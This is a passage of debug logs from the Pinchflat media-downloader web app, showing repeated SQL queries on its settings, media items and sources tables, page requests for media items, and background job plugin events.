s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:19.000 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:19.002 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:20:19.005 [info] Sent 200 in 9ms 08:20:35.153 [info] GET /sources/5/media/100348 08:20:35.153 [info] GET /sources/2/media/810/edit 08:20:35.153 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "810", "source_id" => "2"} Pipelines: [:browser] 08:20:35.153 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100348", "source_id" => "5"} Pipelines: [:browser] 08:20:35.154 [debug] QUERY OK source="media_items" db=0.6ms idle=470.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100348] 08:20:35.155 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=510.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [810] 08:20:35.156 [debug] QUERY OK source="tasks" db=0.5ms queue=0.2ms idle=471.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100348] 08:20:35.156 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=472.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:20:35.156 [debug] QUERY OK source="settings" db=0.7ms idle=472.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:35.157 [debug] QUERY OK source="settings" db=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:35.157 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:35.158 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:35.158 [debug] QUERY OK source="settings" db=0.7ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:35.159 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:35.160 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:20:35.160 [info] Sent 200 in 7ms 08:20:35.164 [info] Sent 200 in 10ms 08:20:38.804 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.597 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:03.593 [info] GET /sources/5/media/100788/edit 08:21:03.593 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "100788", "source_id" => "5"} Pipelines: [:browser] 08:21:03.594 [debug] QUERY OK source="media_items" db=0.3ms idle=1895.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100788] 08:21:03.595 [debug] QUERY OK source="settings" db=0.2ms idle=911.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:03.595 [debug] QUERY OK source="settings" db=0.1ms idle=911.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:03.596 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=912.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:03.598 [info] Sent 200 in 5ms 08:21:03.651 [info] GET /sources/5/media/100348/edit 08:21:03.652 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "100348", "source_id" => "5"} Pipelines: [:browser] 08:21:03.652 [debug] QUERY OK source="media_items" db=0.4ms idle=951.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100348] 08:21:03.653 [debug] QUERY OK source="settings" db=0.3ms idle=59.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:03.654 [debug] QUERY OK source="settings" db=0.2ms idle=58.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:03.655 [debug] QUERY OK source="settings" db=0.3ms idle=59.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:03.656 [info] Sent 200 in 5ms 08:21:08.806 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:38.808 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:58.613 [info] GET /sources/5/media/99915 08:21:58.613 [info] GET /sources/5/media/100350/edit 08:21:58.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "100350", "source_id" => "5"} Pipelines: [:browser] 08:21:58.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "99915", "source_id" => "5"} Pipelines: [:browser] 08:21:58.615 [debug] QUERY OK source="media_items" db=1.0ms idle=1930.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99915] 08:21:58.615 [debug] QUERY OK source="media_items" db=1.0ms idle=1930.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100350] 08:21:58.616 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=1932.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [99915] 08:21:58.616 [debug] QUERY OK source="settings" db=0.5ms idle=803.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:58.616 [debug] QUERY OK source="sources" db=1.0ms idle=1805.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:21:58.617 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:58.617 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:58.618 [debug] QUERY OK source="settings" db=0.4ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:58.618 [debug] QUERY OK source="settings" db=0.4ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:58.619 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:21:58.620 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:21:58.620 [info] Sent 200 in 7ms 08:21:58.624 [info] Sent 200 in 10ms 08:22:00.598 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:06.456 [info] GET /sources/5/media/100785/edit 08:22:06.456 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "100785", "source_id" => "5"} Pipelines: [:browser] 08:22:06.457 [debug] QUERY OK source="media_items" db=0.4ms idle=773.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100785] 08:22:06.458 [debug] QUERY OK source="settings" db=0.3ms idle=774.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:06.458 [debug] QUERY OK source="settings" db=0.2ms idle=775.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:06.459 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=776.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:06.462 [info] Sent 200 in 6ms 08:22:06.706 [info] GET /sources/5/media/101678 08:22:06.706 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101678", "source_id" => "5"} Pipelines: [:browser] 08:22:06.707 [debug] QUERY OK source="media_items" db=0.4ms idle=878.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101678] 08:22:06.708 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=251.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101678] 08:22:06.709 [debug] QUERY OK source="sources" db=0.6ms idle=250.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:22:06.709 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=250.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2514] 08:22:06.710 [debug] QUERY OK source="settings" db=0.3ms idle=250.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:06.711 [debug] QUERY OK source="settings" db=0.3ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:06.712 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:06.713 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:22:06.717 [info] Sent 200 in 10ms 08:22:08.810 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:13.509 [info] GET /sources/5/media/101673 08:22:13.509 [info] GET /sources/5/media/101678/edit 08:22:13.509 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101678", "source_id" => "5"} Pipelines: [:browser] 08:22:13.509 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101673", "source_id" => "5"} Pipelines: [:browser] 08:22:13.510 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=826.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101678] 08:22:13.511 [debug] QUERY OK source="media_items" db=1.0ms idle=826.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101673] 08:22:13.512 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=828.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:13.512 [debug] QUERY OK source="tasks" db=1.0ms idle=828.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101673] 08:22:13.513 [debug] QUERY OK source="sources" db=1.2ms idle=669.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:22:13.513 [debug] QUERY OK source="settings" db=0.6ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:13.514 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=2.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2513] 08:22:13.515 [debug] QUERY OK source="settings" db=0.5ms queue=0.6ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:13.515 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:13.516 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:13.517 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 